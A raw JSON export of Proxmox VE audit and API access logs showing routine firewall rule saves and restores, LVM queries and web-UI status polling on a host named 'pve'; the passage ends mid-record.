{"@timestamp":1781965395165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.165:65435): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965776728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964315349,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.349:60500): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395157,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.157:65434): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965776728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964315320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.320:60499): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.151:65432): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965775608,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964315293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.293:60498): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395147,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.147:65431): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965775608,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964315268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.268:60497): arch=c000003e syscall=59 success=yes exit=0 a0=57c38a3c8ed0 a1=57c38a3c5c50 a2=57c38a3a7680 a3=5 items=2 ppid=58081 pid=58087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395141,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.141:65430): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965774523,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 940"} {"@timestamp":1781964315250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.250:60496): arch=c000003e syscall=59 success=yes exit=0 a0=57c3667aaac8 a1=7ffc8e152a80 a2=57c38a3a7680 a3=57c36678e24e items=2 ppid=58081 pid=58083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395135,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.135:65429): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965774523,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964315249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.249:60495): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc8e152a40 a1=57c38a3ae310 a2=57c38a3a7680 a3=5 items=2 ppid=58081 pid=58082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395131,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.131:65428): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965772596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964315235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.235:60493): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136600 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395125,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.125:65427): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965772596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964315216,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.216:60492): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395117,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.117:65426): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965772596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964315188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.188:60491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395111,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.111:65425): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965772596,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964315176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.176:60490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395107,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.107:65424): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965770791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964315152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.152:60489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395103,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.103:65423): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965770791,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964315117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.117:60488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148b00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395103,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.103:65422): argc=1 a0=\"date\""} {"@timestamp":1781965770791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964314423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964314.423:60487): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05d0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395099,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.099:65420): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965768765,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964314387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964314.387:60486): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6720 a1=64f8d73ee170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.093:65419): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965768765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964313.737:60485): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395085,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.085:65418): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965768765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964313.726:60482): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.079:65417): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965768765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964308713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964308.713:60479): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.071:65416): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965767747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964308.691:60476): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395064,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.064:65415): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965767747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964306078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.078:60473): arch=c000003e syscall=59 success=yes exit=0 a0=5f56a3b92b20 a1=5f56a3b9ee00 a2=5f56a3b6c680 a3=5 items=2 ppid=58061 pid=58067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965394890,"@rawstring":"node=pve type=EXECVE msg=audit(1781965394.890:65414): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965766426,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964306072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.072:60472): arch=c000003e syscall=59 success=yes exit=0 a0=5f5681e4fac8 a1=7fffa7df7b80 a2=5f56a3b6c680 a3=5f5681e3324e items=2 ppid=58061 pid=58063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965394866,"@rawstring":"node=pve type=EXECVE msg=audit(1781965394.866:65413): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965766426,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964306070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.070:60471): arch=c000003e syscall=59 success=yes exit=0 a0=7fffa7df7b40 a1=5f56a3b8e1c0 a2=5f56a3b6c680 a3=5 items=2 ppid=58061 pid=58062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965392850,"@rawstring":"node=pve type=EXECVE msg=audit(1781965392.850:65412): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965764734,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964306064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.064:60469): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965392842,"@rawstring":"node=pve type=EXECVE msg=audit(1781965392.842:65409): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965764734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964306058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.058:60468): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965387836,"@rawstring":"node=pve type=EXECVE msg=audit(1781965387.836:65406): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965764734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 517"} {"@timestamp":1781964306049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.049:60467): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965387829,"@rawstring":"node=pve type=EXECVE msg=audit(1781965387.829:65403): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965764734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964306041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.041:60466): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386054,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.054:65399): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965763309,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964306033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.033:60465): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386047,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.047:65398): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965763309,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964306029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.029:60464): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=58ce80241740 items=0 ppid=1156 pid=58056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.046:65397): argc=1 a0=\"date\""} {"@timestamp":1781965762308,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964306027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.027:60463): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386042,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.042:65395): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965762308,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964306019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.019:60462): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386034,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.034:65394): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965760310,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964306013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.013:60461): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fdd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.029:65393): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965760310,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964306004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.004:60460): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386021,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.021:65392): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965760310,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964305998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.998:60459): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fdd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386015,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.015:65391): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965760310,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964305992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.992:60458): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386009,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.009:65389): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965758790,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964305984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.984:60457): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386003,"@rawstring":"node=pve type=EXECVE msg=audit(1781965386.003:65388): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965758790,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781964305976,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.976:60456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 